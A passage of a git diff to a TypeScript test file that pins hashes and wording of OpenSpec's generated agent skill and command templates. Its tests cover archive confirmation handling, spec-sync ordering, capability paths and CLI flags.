getBulkArchiveChangeSkillTemplate: '03cc44a0ce9bdb3ba2668a9d43946596308901600aa29a728c4a71fc76e86de3', + getOpsxSyncCommandTemplate: '361c9e6e063116ae454ecbc9fac90dc44d876f909e2bdd9c4904580a73ce790c', + getVerifyChangeSkillTemplate: 'eb2c0f1b46c1be12750965a3a122efd5944d2b25781d714224c6e62a0efdc7fd', + getOpsxArchiveCommandTemplate: 'e94cbee572231c4a876177bc1cd88b326beeb989c51ee662c703e7b59166f5bb', + getOpsxOnboardCommandTemplate: '3e0da93fb03cec2a8583c47d05359ffefce5e88cb0148ac3686c2ec49a289045', + getOpsxBulkArchiveCommandTemplate: '7d415e6b1ebb5da93bf74bc3d667cf7a5e7f3ec7031d7a61d525b7950ef91863', + getOpsxVerifyCommandTemplate: 'ce0ee05b7a6b332e29db2298b9d5a928a1932caf516e35fd88f163154ffd43f4', + getOpsxProposeSkillTemplate: '16822ea0f2405962a585ebc2ef470cbe7f6990f7fbcd553ad68b145580d393ff', + getOpsxProposeCommandTemplate: '69e1d017765695612bdeb9b3e0ae10986d18f5c3f9305014b79720eef797a951', getFeedbackSkillTemplate: 'd7d83c5f7fc2b92fe8f4588a5bf2d9cb315e4c73ec19bcd5ef28270906319a0d', + getUpdateChangeSkillTemplate: 'e50b6cd5d38f0d8974172fd7ebd6e2139f3fe3782c71584d8a61cfdb54edff8e', + getOpsxUpdateCommandTemplate: '4f1530486fbe118d9d7d469083c5517b8ec341ed8e92282e0b6c5155fb945bfe', }; const EXPECTED_GENERATED_SKILL_CONTENT_HASHES: Record<string, string> = { - 'openspec-explore': '08e1ec9958eb04653707dd3e198c3fd69cf1b3acd3cf95a1022693cca83c60fc', - 'openspec-new-change': 'c324a7ace1f244aa3f534ac8e3370a2c11190d6d1b85a315f26a211398310f0f', - 'openspec-continue-change': '463cf0b980ec9c3c24774414ef2a3e48e9faa8577bc8748990f45ab3d5efe960', - 'openspec-apply-change': '38ad2cb645827eda555f20e1ac9d483e1d75bae4c817c0669474aaa8c12c0421', - 'openspec-ff-change': '672c3a5b8df152d959b15bd7ae2be7a75ab7b8eaa2ec1e0daa15c02479b27937', - 'openspec-sync-specs': 'b8859cf454379a19ca35dbf59eedca67306607f44a355327f9dc851114e50bde', - 'openspec-archive-change': 'f83c85452bd47de0dee6b8efbcea6a62534f8a175480e9044f3043f887cebf0f', - 'openspec-bulk-archive-change': '10477399bb07c7ba67f78e315bd68fb1901af8866720545baf4c62a6a679493b', - 'openspec-verify-change': 'b6dc1b87940be9d6125b834831c8619019aec9a9748995f72bf981b6f08b67f8', - 'openspec-onboard': 'c1444e026028210efd699110f7e9079bcb486d85ccf27f743213a81cb1084303', - 'openspec-propose': '20e36dabefb90e232bad0667292bd5007ec280f8fc4fc995dbc4282bf45a22e7', + 'openspec-explore': '80109dec3abf1505ab1037f7196baac4fcdf175ca954411e8d439e5da881bf62', + 'openspec-new-change': '579d432771703f947a331a6ed288bf9c6660ca015fcd376d76f19b6ac7683082', + 'openspec-continue-change': '5c34be8194cdb4c5158335e47aece71143e8a22bfb4179dba47fd8aaf436d395', + 'openspec-apply-change': 'a1c79d1104255f7655df120d3ebf362cc14a2bb23ae6e857ba430dea2f8bc8bc', + 'openspec-ff-change': '19315644df7c582d920acfb67f3c500ca4e06fccc900265b3ac39621d85f7cdb', + 'openspec-sync-specs': '6e85521de10858bb020885eb657aa843e5746b2f09c846aa44545694f456cda9', + 'openspec-archive-change': '019d580a13eee5892cc9233a899919b572a3abfc6a05c1f0aabf9c4ba9bf3d4d', + 'openspec-bulk-archive-change': '6082df91e91fa57fbb88f05ca7834437bfad51561e72657a67a41c355d557646', + 'openspec-verify-change': '7cd65897d126f7c948620c0672ca62418620dbcb82ee73d890f758fb666a4ff8', + 'openspec-onboard': 'c104afb286e7c274a6914cb2042047705e42468a2df16246ff6337692828e12a', + 'openspec-propose': '2414a289c9541b233b80e4a5dcfe75a128bd4c37db421a1f066bf54788afaa97', + 'openspec-update-change': '8654fc3ea1eb2f03e1dba3eaf1e8c884b1c71cc949294a070c2f966fb13c8e2a', }; +// Intentionally excludes getFeedbackSkillTemplate: this list only models templates +// deployed via generateSkillContent, while feedback is covered in function payload parity. +const GENERATED_SKILL_FACTORIES: Array<[string, () => SkillTemplate]> = [ + ['openspec-explore', getExploreSkillTemplate], + ['openspec-new-change', getNewChangeSkillTemplate], + ['openspec-continue-change', getContinueChangeSkillTemplate], + ['openspec-apply-change', getApplyChangeSkillTemplate], + ['openspec-ff-change', getFfChangeSkillTemplate], + ['openspec-sync-specs', getSyncSpecsSkillTemplate], + ['openspec-archive-change', getArchiveChangeSkillTemplate], + ['openspec-bulk-archive-change', getBulkArchiveChangeSkillTemplate], + ['openspec-verify-change', getVerifyChangeSkillTemplate], + ['openspec-onboard', getOnboardSkillTemplate], + ['openspec-propose', getOpsxProposeSkillTemplate], + ['openspec-update-change', getUpdateChangeSkillTemplate], +]; + function stableStringify(value: unknown): string { if (Array.isArray(value)) { return `[${value.map(stableStringify).join(',')}]`; @@ -115,6 +143,8 @@ describe('skill templates split parity', () => { getOpsxProposeSkillTemplate, getOpsxProposeCommandTemplate, getFeedbackSkillTemplate, + getUpdateChangeSkillTemplate, + getOpsxUpdateCommandTemplate, }; const actualHashes = Object.fromEntries( @@ -125,29 +155,813 @@ describe('skill templates split parity', () => { }); it('preserves generated skill file content exactly', () => { - // Intentionally excludes getFeedbackSkillTemplate: skillFactories only models templates - // deployed via generateSkillContent, while feedback is covered in function payload parity. - const skillFactories: Array<[string, () => SkillTemplate]> = [ - ['openspec-explore', getExploreSkillTemplate], - ['openspec-new-change', getNewChangeSkillTemplate], - ['openspec-continue-change', getContinueChangeSkillTemplate], + const actualHashes = Object.fromEntries( + GENERATED_SKILL_FACTORIES.map(([dirName, createTemplate]) => [ + dirName, + hash(generateSkillContent(createTemplate(), 'PARITY-BASELINE')), + ]) + ); + + expect(actualHashes).toEqual(EXPECTED_GENERATED_SKILL_CONTENT_HASHES); + }); + + // The assertion above only compares the skills this file already lists, so a + // workflow added to getSkillTemplates() but never pinned here would ship with + // no golden hash and nothing would fail. Pin the registry itself. + it('pins every skill the production registry deploys', () => { + const pinned = GENERATED_SKILL_FACTORIES.map(([dirName]) => dirName).sort(); + const deployed = getSkillTemplates().map(({ dirName }) => dirName).sort(); + + expect(pinned, 'add the new skill to GENERATED_SKILL_FACTORIES and EXPECTED_GENERATED_SKILL_CONTENT_HASHES').toEqual(deployed); + }); + + // Iterating the production registries (not a local list) means a newly + // added workflow is covered automatically; the full-constant containment + // check fails if any template's interpolation drifts. + it('teaches store selection in every deployed skill template', () => { + for (const { template, dirName } of getSkillTemplates()) { + const content = generateSkillContent(template, 'PARITY-BASELINE'); + expect(content, dirName).toContain(STORE_SELECTION_GUIDANCE); + } + }); + + // Auto-approve the OpenSpec CLI: every generated skill carries + // `allowed-tools: Bash(openspec:*)` so agents that honor it stop prompting + // on each `openspec` call. Iterating the registry covers new skills too. + it('pre-approves the openspec CLI via allowed-tools in every deployed skill', () => { + for (const { template, dirName } of getSkillTemplates()) { + const content = generateSkillContent(template, 'PARITY-BASELINE'); + expect(content, dirName).toContain('allowed-tools: Bash(openspec:*)'); + } + }); + + it('teaches store selection in every deployed opsx command template', () => { + for (const entry of getCommandContents()) { + expect(entry.body, entry.id).toContain(STORE_SELECTION_GUIDANCE); + } + + // Feedback has no store-capable command and intentionally carries no + // store teaching; it ships outside both registries. + expect(getFeedbackSkillTemplate().instructions).not.toContain('**Store selection:**'); + }); + + it('keeps a selected store on every applicable workflow command', () => { + expect(STORE_SELECTION_GUIDANCE).toContain( + 'treat `--store <id>` as sticky for the rest of the workflow' + ); + expect(STORE_SELECTION_GUIDANCE).toContain( + 'Every unscoped example of those commands below is shorthand: before running it, append the flag' + ); + expect(STORE_SELECTION_GUIDANCE).toContain( + 'openspec status --change "<name>" --json --store "<id>"' + ); + expect(STORE_SELECTION_GUIDANCE).toContain('`context`, `view`'); + }); + + it('validates synced main specs before reporting success', () => { + const variants: Array<[string, string]> = [ + ['sync skill', getSyncSpecsSkillTemplate().instructions], + ['sync command', getOpsxSyncCommandTemplate().content], + ]; + + for (const [variant, content] of variants) { + const mutationsComplete = content.indexOf( + 'Follow the **Main Spec Format Reference** below' + ); + const validation = content.indexOf('openspec validate --specs'); + const summary = content.indexOf('**Show summary**'); + + expect(mutationsComplete, variant).toBeGreaterThanOrEqual(0); + expect(validation, variant).toBeGreaterThan(mutationsComplete); + expect(summary, variant).toBeGreaterThan(validation); + expect(content, variant).toContain('same selected-root flags'); + expect(content, variant).toContain( + 'If validation fails, report the problems and do not claim the sync succeeded' + ); + } + }); + + it('preserves nested capability paths in spec-aware workflow guidance (#1459)', () => { + const capabilityPathDefinition = + '`<capability-path>` is the spec directory relative to `specs/`'; + const pathAwareTemplates: Array<[string, string, string, string]> = [ + [ + 'propose skill', + generateSkillContent(getOpsxProposeSkillTemplate(), 'PARITY-BASELINE'), + 'specs/<capability-path>/spec.md', + "Preserve an existing capability's full path", + ], + [ + 'propose command', + getOpsxProposeCommandTemplate().content, + 'specs/<capability-path>/spec.md', + "Preserve an existing capability's full path", + ], + [ + 'explore skill', + generateSkillContent(getExploreSkillTemplate(), 'PARITY-BASELINE'), + 'specs/<capability-path>/spec.md', + "Preserve an existing capability's full path", + ], + [ + 'explore command', + getOpsxExploreCommandTemplate().content, + 'specs/<capability-path>/spec.md', + "Preserve an existing capability's full path", + ], + [ + 'onboard skill', + generateSkillContent(getOnboardSkillTemplate(), 'PARITY-BASELINE'), + '<existing-capability-path>', + 'Use the exact existing path for modified', + ], + [ + 'onboard command', + getOpsxOnboardCommandTemplate().content, + '<existing-capability-path>', + 'Use the exact existing path for modified', + ], + [ + 'sync skill', + generateSkillContent(getSyncSpecsSkillTemplate(), 'PARITY-BASELINE'), + '<planningHome.root>/openspec/specs/<capability-path>/spec.md', + 'Preserve the full path from each delta spec', + ], + [ + 'sync command', + getOpsxSyncCommandTemplate().content, + '<planningHome.root>/openspec/specs/<capability-path>/spec.md', + 'Preserve the full path from each delta spec', + ], + [ + 'archive skill', + generateSkillContent(getArchiveChangeSkillTemplate(), 'PARITY-BASELINE'), + '<planningHome.root>/openspec/specs/<capability-path>/spec.md', + 'Preserve the full path from each delta spec', + ], + [ + 'archive command', + getOpsxArchiveCommandTemplate().content, + '<planningHome.root>/openspec/specs/<capability-path>/spec.md', + 'Preserve the full path from each delta spec', + ], + [ + 'bulk archive skill', + generateSkillContent(getBulkArchiveChangeSkillTemplate(), 'PARITY-BASELINE'), + '<planningHome.root>/openspec/specs/<capability-path>/spec.md', + 'Preserve the full path from each delta spec', + ], + [ + 'bulk archive command', + getOpsxBulkArchiveCommandTemplate().content, + '<planningHome.root>/openspec/specs/<capability-path>/spec.md', + 'Preserve the full path from each delta spec', + ], + ]; + + for (const [label, content, destination, preservationGuidance] of pathAwareTemplates) { + expect(content, label).toContain(capabilityPathDefinition); + expect(content, label).toContain(destination); + expect(content, label).toContain(preservationGuidance); + expect(content, label).not.toContain('specs/<capability>/spec.md'); + } + + const onboardVariants: Array<[string, string]> = [ + [ + 'onboard skill', + generateSkillContent(getOnboardSkillTemplate(), 'PARITY-BASELINE'), + ], + ['onboard command', getOpsxOnboardCommandTemplate().content], + ]; + + for (const [label, content] of onboardVariants) { + expect(content, label).toContain( + '- `<capability-path>`: [brief description]' + ); + expect(content, label).not.toContain('<capability-name>'); + } + + const bulkArchiveVariants: Array<[string, string]> = [ + [ + 'bulk archive skill', + generateSkillContent(getBulkArchiveChangeSkillTemplate(), 'PARITY-BASELINE'), + ], + ['bulk archive command', getOpsxBulkArchiveCommandTemplate().content], + ]; + + for (const [label, content] of bulkArchiveVariants) { + expect(content, label).toContain( + 'Build a map keyed by `<capability-path>`, the exact path relative to `specs/`' + ); + expect(content, label).toContain( + 'billing/user-auth -> [change-c] <- OK (different full path)' + ); + expect(content, label).toContain( + 'identity/user-auth -> [change-a, change-b] <- CONFLICT' + ); + expect(content, label).toContain('identity/user-auth (!)'); + expect(content, label).toContain( + 'the exact same `<capability-path>`' + ); + expect(content, label).toContain( + 'keyed by change and `<capability-path>`' + ); + expect(content, label).toContain( + 'identity/user-auth spec: Will apply add-oauth then add-jwt' + ); + expect(content, label).toContain( + 'add-jwt, identity/user-auth: implementation not found' + ); + expect(content, label).toContain( + '1 conflict resolved (identity/user-auth: synced add-oauth, skipped add-jwt)' + ); + expect(content, label).not.toContain('\n auth -> [change-a'); + expect(content, label).not.toContain('| auth (!)'); + expect(content, label).not.toContain('(auth: synced'); + expect(content, label).not.toContain('add-jwt/auth:'); + } + }); + + it('generates no workspace-planning residue in any workflow template (4.1)', () => { + const allSkills: Array<[string, () => SkillTemplate]> = [ ['openspec-apply-change', getApplyChangeSkillTemplate], - ['openspec-ff-change', getFfChangeSkillTemplate], ['openspec-sync-specs', getSyncSpecsSkillTemplate], ['openspec-archive-change', getArchiveChangeSkillTemplate], ['openspec-bulk-archive-change', getBulkArchiveChangeSkillTemplate], ['openspec-verify-change', getVerifyChangeSkillTemplate], - ['openspec-onboard', getOnboardSkillTemplate], - ['openspec-propose', getOpsxProposeSkillTemplate], ]; - const actualHashes = Object.fromEntries( - skillFactories.map(([dirName, createTemplate]) => [ - dirName, - hash(generateSkillContent(createTemplate(), 'PARITY-BASELINE')), - ]) + for (const [dirName, createTemplate] of allSkills) { + const content = generateSkillContent(createTemplate(), 'PARITY-BASELINE'); + expect(content, dirName).not.toContain('workspace-planning'); + expect(content, dirName).not.toContain('Workspace guard'); + } + }); + + it('does not suggest archiving when only planning is complete', () => { + const variants: Array<[string, string]> = [ + [ + 'skill', + generateSkillContent(getContinueChangeSkillTemplate(), 'PARITY-BASELINE'), + ], + ['opsx command', getOpsxContinueCommandTemplate().content], + ]; + + for (const [variant, content] of variants) { + expect(content, variant).toContain('Planning is complete!'); + expect(content, variant).toContain( + 'Once implementation and any tracked work are complete, archive it' + ); + expect(content, variant).not.toContain('All artifacts created!'); + expect(content, variant).not.toContain('or archive it'); + } + }); + + it('gates the archive on a completed spec sync (#1393)', () => { + const generatedSkill = generateSkillContent(getArchiveChangeSkillTemplate(), 'PARITY-BASELINE'); + const commandContent = getOpsxArchiveCommandTemplate().content; + + // The single archive skill references openspec-sync-specs; opsx command references /opsx:sync. + expect(generatedSkill, 'skill').toContain('run the `openspec-sync-specs` workflow inline'); + expect(commandContent, 'opsx command').toContain('run the `/opsx:sync` workflow inline'); + + const variants: Array<[string, string]> = [ + ['skill', generatedSkill], + ['opsx command', commandContent], + ]; + + for (const [variant, content] of variants) { + expect(content, variant).toContain('Do not delegate it to a background task'); + expect(content, variant).toContain('Never archive while a spec sync is still in flight'); + + // Verification must follow delta semantics. + expect(content, variant).toContain('MODIFIED requirements carrying the scenario and description changes'); + expect(content, variant).toContain('REMOVED requirements gone'); + expect(content, variant).toContain('RENAMED requirements present under the new name and absent under the old one'); + + // Verification is bound to the delta specs on disk, not to whatever the sync reports it touched. + expect(content, variant).toContain('not only the ones the sync reports it touched'); + + // Main spec paths are store-root aware + expect(content, variant).toContain('<planningHome.root>/openspec/specs/<capability-path>/spec.md'); + } + }); + + it('gates bulk archive on inline synchronous spec sync and verification before moving change root', () => { + const generatedSkill = generateSkillContent(getBulkArchiveChangeSkillTemplate(), 'PARITY-BASELINE'); + const commandContent = getOpsxBulkArchiveCommandTemplate().content; + + // The bulk archive skill references openspec-sync-specs; opsx command references /opsx:sync. + expect(generatedSkill, 'bulk skill').toContain('run the `openspec-sync-specs` workflow inline'); + expect(commandContent, 'bulk opsx command').toContain('run the `/opsx:sync` workflow inline'); + + const variants: Array<[string, string]> = [ + ['bulk skill', generatedSkill], + ['bulk opsx command', commandContent], + ]; + + for (const [variant, content] of variants) { + expect(content, variant).toContain('Do not delegate to a background task'); + expect(content, variant).toContain('Never archive a change while a spec sync is still in flight'); + expect(content, variant).toContain('Verify included delta specs before moving changeRoot'); + + // Verification must follow delta semantics. + expect(content, variant).toContain('MODIFIED requirements carrying scenario and description changes'); + expect(content, variant).toContain('REMOVED requirements gone'); + expect(content, variant).toContain('RENAMED requirements present under the new name and absent under the old one'); + + // Main spec paths are store-root aware + expect(content, variant).toContain('<planningHome.root>/openspec/specs/<capability-path>/spec.md'); + } + }); + + it('carries mixed included and excluded bulk-archive deltas through both generated variants', () => { + const variants: Array<[string, string]> = [ + [ + 'bulk skill', + generateSkillContent(getBulkArchiveChangeSkillTemplate(), 'PARITY-BASELINE'), + ], + ['bulk opsx command', getOpsxBulkArchiveCommandTemplate().content], + ]; + + for (const [variant, content] of variants) { + expect(content, variant).toContain( + 'An inclusion or exclusion decision for every delta spec' + ); + expect(content, variant).toContain( + 'A single change can have both included and excluded delta specs' + ); + expect(content, variant).toContain( + 'passing only the included delta paths and explicitly instructing it to ignore' + ); + expect(content, variant).not.toContain( + 'for each change, passing the delta spec analysis' + ); + expect(content, variant).toContain( + 'Re-run the comparison only for delta specs in `includedDeltas`' + ); + expect(content, variant).toContain( + 'Do not verify delta specs in `excludedDeltas`' + ); + expect(content, variant).toContain('report `sync skipped`'); + expect(content, variant).toContain( + '`sync skipped` without treating the archive itself as skipped' + ); + + // These three carried no assertion, so deleting any of them from a + // single variant was caught only by the golden hash — and this repo + // regenerates hashes as a matter of routine, which makes that no + // protection at all. + expect(content, variant).toContain( + '`includedDeltas`: all non-conflicting delta specs from confirmed changes plus conflict deltas selected for sync' + ); + expect(content, variant).toContain( + '`excludedDeltas`: conflict deltas from confirmed changes excluded because their implementation is missing' + ); + expect(content, variant).toContain( + 'Carry the per-delta `includedDeltas` and `excludedDeltas` decisions into execution' + ); + // The worked example must show the skip, or the agent has no model of + // what a partially-synced batch report looks like. + expect(content, variant).toContain( + '1 delta spec sync skipped (add-jwt, identity/user-auth: implementation not found)' + ); + } + }); + + it('lets the sync workflow honor the delta subset bulk archive hands it', () => { + // Bulk archive tells sync to ignore excludedDeltas, but sync treats + // existingOutputPaths as its own source of truth. Without an explicit + // carve-out the callee re-syncs the delta the caller withheld, step 8b + // never checks it (it verifies only includedDeltas), and the run still + // reports `sync skipped` for a spec that was in fact written. + const variants: Array<[string, string]> = [ + ['sync skill', getSyncSpecsSkillTemplate().instructions], + ['sync command', getOpsxSyncCommandTemplate().content], + ]; + + for (const [variant, content] of variants) { + expect(content, variant).toContain( + 'A caller narrows it by naming an explicit list of complete entries from' + ); + expect(content, variant).toContain( + 'sync only the named paths and leave the remaining delta specs untouched' + ); + expect(content, variant).toContain( + 'never widen it back to the full\n list' + ); + expect(content, variant).toContain( + 'Honor a caller-supplied subset of `existingOutputPaths`' + ); + expect(content, variant).toContain( + 'copy those absolute values verbatim' + ); + expect(content, variant).toContain('selecting the entry ending'); + expect(content, variant).toContain('/specs/billing/invoices/spec.md'); + expect(content, variant).not.toContain('only sync the billing delta'); + expect(content, variant).not.toContain('only sync `specs/billing/invoices/spec.md`'); + + // Step 4 is the operative loop. Narrowing step 3 alone left the loop + // still iterating "each path returned by the CLI", which re-widens the + // set and re-syncs the delta the caller withheld — the original bug, + // one step further down the template. + expect(content, variant).toContain( + 'For each capability delta spec path selected in step 3' + ); + expect(content, variant).not.toContain( + 'For each capability delta spec path returned by the CLI' + ); + + // The undefined edges: a named path outside existingOutputPaths, and an + // empty named list. Both must stop rather than proceed on a guess. + expect(content, variant).toContain( + 'If a named path is not in `existingOutputPaths`, do not sync it' + ); + expect(content, variant).toContain( + 'If the named list is\n empty, report that there is nothing to sync and stop' + ); + } + }); + + it('requires apply context while keeping guidance advisory and state separate', () => { + const variants: Array<[string, string]> = [ + ['apply skill', getApplyChangeSkillTemplate().instructions], + ['apply command', getOpsxApplyCommandTemplate().content], + ]; + + for (const [variant, content] of variants) { + expect(content, variant).toContain('Optional `context`'); + expect(content, variant).toContain('Optional `operationGuidance`'); + expect(content, variant).toContain('Treat `context` as a required prompt-level input'); + expect(content, variant).toContain('apply relevant project facts, conventions, and constraints'); + expect(content, variant).toContain( + 'Treat `operationGuidance` as optional additive advice' + ); + expect(content, variant).toContain('Read and consider every'); + expect(content, variant).toContain('applicable and compatible with the built-in'); + expect(content, variant).toContain( + 'separate from CLI-returned state, missing artifacts, tasks' + ); + expect(content, variant).toContain( + 'Do not use context or operation guidance as proof that a task is complete' + ); + expect(content, variant).toContain('conflict and preserve the controlling value'); + expect(content, variant).toContain('do not follow it and explain why'); + expect(content, variant).toContain( + 'Do not copy runtime context or operation guidance into implementation files or planning artifacts' + ); + expect(content, variant).toContain( + 'Preserve CLI-controlled blocked/ready/all-done behavior' + ); + expect(content, variant).toContain( + 'These are prompt-level behavior contracts, not enforceable checks' + ); + } + }); + + it('makes the archive-inputs lookup fail open and sync instruction consumption fail closed', () => { + const archiveVariants: Array<[string, string]> = [ + ['archive skill', getArchiveChangeSkillTemplate().instructions], + ['archive command', getOpsxArchiveCommandTemplate().content], + ]; + + for (const [variant, content] of archiveVariants) { + expect(content, variant).toContain( + 'openspec instructions archive --change "<name>" --json' + ); + expect(content, variant).toContain('same selected-root flags'); + // The archive-inputs lookup is a new CLI command, so a skill installed + // ahead of the CLI (skills.sh) must degrade instead of blocking archiving. + expect(content, variant).toContain('advisory and\n optional'); + expect(content, variant).toContain('must never block archiving'); + expect(content, variant).toContain('older CLI that\n does not support this command yet'); + expect(content, variant).toContain( + 'continue the archive workflow with no\n context and no operation guidance' + ); + expect(content, variant).toContain('Do not report an error and do not stop'); + expect(content, variant).not.toContain( + 'stop before inspecting or\n writing specs or moving the change' + ); + expect(content, variant).toContain('successful response may omit both optional fields'); + expect(content, variant).toContain( + 'Treat `context` as a\n required prompt-level input' + ); + expect(content, variant).toContain( + 'Treat `operationGuidance` as optional\n additive advice' + ); + expect(content, variant).toContain('read and consider every entry'); + expect(content, variant).toContain('report the conflict and preserve the controlling value'); + expect(content, variant).toContain('do not follow it\n and explain why'); + expect(content, variant).toContain( + '`artifactPaths.specs.existingOutputPaths` from status JSON as the only' + ); + expect(content, variant).toContain('`specs` entry is missing'); + expect(content, variant).toContain('do not infer\n delta specs from other artifacts'); + expect(content, variant).toContain( + 'openspec instructions specs --change "<name>" --json' + ); + expect(content, variant).toContain('stop\n before writing any main spec or moving the change'); + expect(content, variant).toContain('valid response with omitted\n `rules`'); + expect(content, variant).toContain('inline sync must reuse that snapshot'); + expect(content, variant).toContain('do not use them as archive guidance'); + expect(content, variant).toContain( + 'Existing CLI checks, resolved paths, prompts, and command contracts are unchanged' + ); + expect(content, variant).toContain( + 'Never copy runtime context, operation guidance, or artifact-rule text verbatim' + ); + expect(content, variant).toContain( + 'Artifact rules constrain only the specs being written and are never operation guidance' + ); + } + + const syncVariants: Array<[string, string]> = [ + ['sync skill', getSyncSpecsSkillTemplate().instructions], + ['sync command', getOpsxSyncCommandTemplate().content], + ]; + + for (const [variant, content] of syncVariants) { + expect(content, variant).toContain( + '`artifactPaths.specs.existingOutputPaths` from the status JSON as the' + ); + expect(content, variant).toContain('`specs` entry is missing'); + expect(content, variant).toContain('do not infer them from other artifacts'); + expect(content, variant).toContain('reuse it and do not\n fetch the same instructions again'); + expect(content, variant).toContain('Otherwise run that command once now'); + expect(content, variant).toContain('stop before writing any main spec'); + expect(content, variant).toContain('Do not treat the\n failure as an absent rule set'); + expect(content, variant).toContain('valid response with omitted `rules`'); + expect(content, variant).toContain('Artifact rules are not operation guidance'); + expect(content, variant).toContain('without copying it verbatim'); + } + }); + + it('keeps bulk archive instruction lookups atomic across mixed-schema batches', () => { + const variants: Array<[string, string]> = [ + ['bulk skill', getBulkArchiveChangeSkillTemplate().instructions], + ['bulk command', getOpsxBulkArchiveCommandTemplate().content], + ]; + + for (const [variant, content] of variants) { + expect(content, variant).toContain('archive inputs once for the selected root'); + expect(content, variant).toContain( + 'openspec instructions archive --change "<selected-change>" --json' + ); + // Same rule as the single-change skill: a missing archive-inputs command + // must not take down a whole batch. + expect(content, variant).toContain('advisory and optional'); + expect(content, variant).toContain('must never block the batch'); + expect(content, variant).toContain( + 'continue the batch with no context and no operation guidance' + ); + expect(content, variant).not.toContain( + 'stop the whole batch before inspecting specs, writing main specs' + ); + expect(content, variant).toContain( + 'Treat this list as the only delta-spec source' + ); + expect(content, variant).toContain('missing or the list is empty'); + expect(content, variant).toContain('mixed-schema\n batches'); + expect(content, variant).toContain('fetch every\n required specs-rule snapshot'); + expect(content, variant).toContain( + 'Obtain all snapshots before the first write or move' + ); + expect(content, variant).toContain( + 'stop the whole batch before\n any main-spec write or change move' + ); + expect(content, variant).toContain( + 'sync must reuse it without fetching instructions again' + ); + expect(content, variant).toContain( + 'Treat\n `context` as a required prompt-level input across the batch' + ); + expect(content, variant).toContain( + 'Treat\n `operationGuidance` as optional additive advice' + ); + expect(content, variant).toContain('read and consider every'); + expect(content, variant).toContain('report the conflict and preserve the controlling'); + expect(content, variant).toContain('do not\n follow it and explain why'); + expect(content, variant).toContain( + 'Keep runtime inputs, conflict analysis, CLI-derived values, and artifact rules separate' + ); + expect(content, variant).toContain( + 'Artifact rules constrain only written specs' + ); + expect(content, variant).toContain( + 'Never copy runtime input or artifact-rule text verbatim into output files' + ); + } + }); + + // The archive instructions must mirror `openspec archive`'s date-prefix + // rule (#1316): a change already named with a `YYYY-MM-DD-` prefix keeps + // its name, so archived names never stack dates. Guard the caveat, the + // literal `mv` target, and the success-summary examples an agent would + // copy verbatim (#1317). + it('never instructs stacking a date prefix on an already-dated change (#1317)', () => { + const archiveInstructions: Array<[string, string]> = [ + ['openspec-archive-change', getArchiveChangeSkillTemplate().instructions], + ['openspec-bulk-archive-change', getBulkArchiveChangeSkillTemplate().instructions], + ['openspec-onboard', getOnboardSkillTemplate().instructions], + ['opsx-archive', getOpsxArchiveCommandTemplate().content], + ['opsx-bulk-archive', getOpsxBulkArchiveCommandTemplate().content], + ['opsx-onboard', getOpsxOnboardCommandTemplate().content], + ]; + + for (const [id, text] of archiveInstructions) { + expect(text, id).toContain('already starts with a `YYYY-MM-DD-` prefix'); + + // Every archive path an agent reproduces must name the derived target, + // never a hardcoded date. + expect(text, id).toContain('<target-name>'); + + // Discriminator: a `YYYY-MM-DD-` after a path separator belongs to a + // literal archive path the agent copies verbatim. The rule statements + // only name the prefix, never place it in a path, so they stay legal. + expect(text, id).not.toMatch(/\/YYYY-MM-DD-/); + } + }); + + // Guidance that tells an agent to run `openspec archive` has to pass + // --yes: the agent cannot answer the confirmation prompts from a tool + // call, so the bare command aborts (#1479). A golden hash proves the + // generated file matches its source, never that the source is right, so + // pin the flag itself. + it('passes --yes wherever it tells an agent to run openspec archive (#1479)', () => { + // Sweep the whole corpus, not just the one template that has such an + // invocation today: the point is to catch the next one. + const corpus: Array<[string, string]> = [ + ...getSkillTemplates().map( + ({ dirName, template }) => [dirName, template.instructions] as [string, string] + ), + ...getCommandContents().map((entry) => [entry.id, entry.body] as [string, string]), + ]; + + // Only runnable invocations count: prose that merely names the command + // ("same rule as `openspec archive`") has nothing to confirm, and it is + // always mid-sentence, so requiring the command to open the line + // separates the two. Everything a runnable line may legitimately carry in + // front of the command is allowed, because each of these hid an + // invocation from an earlier, stricter version of this check: indentation, + // a list marker, a shell prompt, and a global flag between `openspec` and + // `archive`. Tokenised rather than pattern-matched - the regex this + // replaces needed nested quantifiers to accept the flags, which is a ReDoS + // shape even in a test. + function archiveInvocations(text: string): string[] { + return text.split('\n').filter((line) => { + const bare = line + .trimStart() + .replace(/^(?:[-*+]|\d+\.)[ \t]+/, '') + .replace(/^\$[ \t]+/, ''); + const tokens = bare.split(/\s+/).filter(Boolean); + if (tokens[0] !== 'openspec') return false; + const archiveAt = tokens.indexOf('archive'); + if (archiveAt < 1) return false; + // Anything between `openspec` and `archive` has to be a global flag or + // one's value, or this is a different subcommand that merely mentions + // the word (`openspec list archive`). + return tokens + .slice(1, archiveAt) + .every((token, i, before) => token.startsWith('-') || !!before[i - 1]?.startsWith('-')); + }); + } + + let total = 0; + for (const [id, text] of corpus) { + const invocations = archiveInvocations(text); + total += invocations.length; + for (const invocation of invocations) { + expect(invocation.trim(), id).toContain('--yes'); + } + } + + // Guards the guard, and names the floor rather than trusting `> 0`: the + // onboarding walkthrough is the one template that is supposed to contain + // a runnable archive invocation, so a corpus that stops containing it + // fails here instead of passing vacuously. + expect(total).toBeGreaterThan(0); + const onboard = corpus.filter(([id]) => id.includes('onboard')); + expect(onboard.length).toBeGreaterThan(0); + for (const [id, text] of onboard) { + expect(archiveInvocations(text), id).not.toHaveLength(0); + } + }); + + // Covers both archive paths, not just the bulk one the fix targeted: the + // single-change routing has been correct since #1357 (current wording from + // #1394) but was never pinned, so a stale branch could silently reopen the + // bug #1381 actually reported. + it('honors Cancel at every archive confirmation (#1381)', () => { + const variants: Array<[string, string]> = [ + ['bulk skill', generateSkillContent(getBulkArchiveChangeSkillTemplate(), 'PARITY-BASELINE')], + ['bulk opsx command', getOpsxBulkArchiveCommandTemplate().content], + ['single skill', generateSkillContent(getArchiveChangeSkillTemplate(), 'PARITY-BASELINE')], + ['single opsx command', getOpsxArchiveCommandTemplate().content], + ]; + + for (const [variant, content] of variants) { + // Offering "Cancel" without routing it let an agent fall straight through + // to the archive step and move the changes anyway. + expect(content, variant).toContain('"Cancel" — stop, do not archive'); + + // An unrecognized answer must re-prompt; archiving is never the default. + expect(content, variant).toContain('Anything else — ask again rather than archiving'); + } + }); + + // The bulk confirmation labels are written by the agent and carry an `N` + // placeholder, so routing must match intent — matching the literal labels + // would send every legitimate answer down the "ask again" path forever. + it('routes the bulk archive confirmation by intent, not by literal label (#1381)', () => { + const variants: Array<[string, string]> = [ + ['bulk skill', generateSkillContent(getBulkArchiveChangeSkillTemplate(), 'PARITY-BASELINE')], + ['bulk opsx command', 